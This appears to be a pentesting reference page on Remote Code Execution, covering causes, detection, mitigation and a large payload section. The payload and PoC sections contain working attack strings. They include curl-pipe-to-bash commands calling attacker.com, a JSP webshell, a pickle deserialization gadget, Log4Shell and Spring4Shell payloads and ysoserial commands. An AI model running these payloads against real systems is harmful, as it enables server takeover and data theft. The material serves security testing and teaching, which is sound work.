🧠 Description

What is RCE?

Remote Code Execution allows an attacker to execute arbitrary code on the target server. This is often the most severe vulnerability, leading to full system compromise, data theft, ransomware, or lateral movement.

Why does it occur?

  • Unsafe deserialization of user input
  • Command injection via system calls
  • Vulnerable libraries or frameworks (Log4Shell, Spring4Shell, etc.)
  • File upload leading to webshell
  • Template injection (SSTI) that allows code execution

Security principle violated: Input Validation, Secure Configuration, Least Privilege

🏷️ Classification

  • Type: Remote Code Execution
  • OWASP: A03:2021 – Injection (when via injection) / A08:2021 – Software and Data Integrity Failures (when via deserialization)
  • CWE: CWE-94, CWE-502, CWE-78, CWE-74

🎯 Attack Surface

  • βœ… Deserialization endpoints (Java, PHP, Python, .NET)
  • βœ… System command execution features (ping, traceroute, convert)
  • βœ… File upload (webshell)
  • βœ… Template engines (SSTI)
  • βœ… Expression language injection (EL, OGNL, SpEL)
  • βœ… Vulnerable third‑party libraries (e.g., Log4j, Fastjson, XStream)

πŸ” Detection Methodology

1. Static Analysis

  • Search for dangerous functions: eval(), exec(), Runtime.exec(), ProcessBuilder, unserialize(), pickle.loads(), yaml.load() (unsafe)
  • Check for deserialization of user input without type whitelisting

2. Dynamic Analysis

  • Inject sleep payloads (sleep(5), ping -c 5 attacker.com) to detect command injection
  • Send malicious serialized objects (e.g., ysoserial payloads) to deserialization endpoints
  • Upload webshell and try to access it

Tools: ysoserial, Burp Suite, custom scripts, nuclei templates

πŸ’£ Basic Payloads

# Command injection style
; ping -c 5 attacker.com
| curl http://attacker.com/revshell.sh | bash
`id`

# PHP eval


# JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

# Python pickle (deserialization)
import pickle, os, base64
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(RCE())))

πŸš€ Advanced Payloads / Bypass

# Log4Shell (CVE-2021-44228)
${jndi:ldap://attacker.com/exploit}

# Spring4Shell (CVE-2022-22965)
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{5}i&suffix=.jsp

# ysoserial (Java deserialization)
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/rev' | base64

# PHP‑GGC (PHP deserialization)
phpggc Monolog/RCE1 system 'id' --json

πŸ§ͺ Test Cases (STRICT)

StepActionExpectedActual
1Inject ; sleep 5 in parameter5‑second delayTime‑based RCE confirmed
2Send malicious serialized objectCommand executed or errorDeserialization RCE
3Upload webshell.php and accessRemote command outputFile upload RCE

βš™οΈ Exploitation Steps

  1. Identify injection point (deserialization, command, upload, template).
  2. Test with harmless delay payload (e.g., sleep 5).
  3. If delay works, attempt to read a file (cat /etc/passwd).
  4. Establish a reverse shell for interactive access.
  5. Escalate privileges on the compromised host.

πŸ›‘οΈ Mitigation

βœ… Avoid deserialization of untrusted data; use allowlists
βœ… Never use system() or exec() with user input; use safe APIs
βœ… Keep frameworks and libraries updated (patch known RCEs)
βœ… Run applications with least privilege
βœ… Use WAF with virtual patching for known RCE exploits
βœ… Implement input validation and output encoding

⚠️ Risk / Impact

Severity: Critical

Impact: Full server compromise, data breach, ransomware, lateral movement, persistence.

πŸ“Ž Proof of Concept (PoC)

# Command injection based RCE
curl "https://target.com/ping?ip=127.0.0.1; curl https://attacker.com/rev.sh | bash"

# Deserialization RCE (Java)
curl -X POST https://target.com/deserialize -H "Content-Type: application/json" -d '{"data":"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZQ..."}'

# Log4Shell RCE
curl -H "User-Agent: ${jndi:ldap://attacker.com/a}" https://target.com/search
Back to Web Security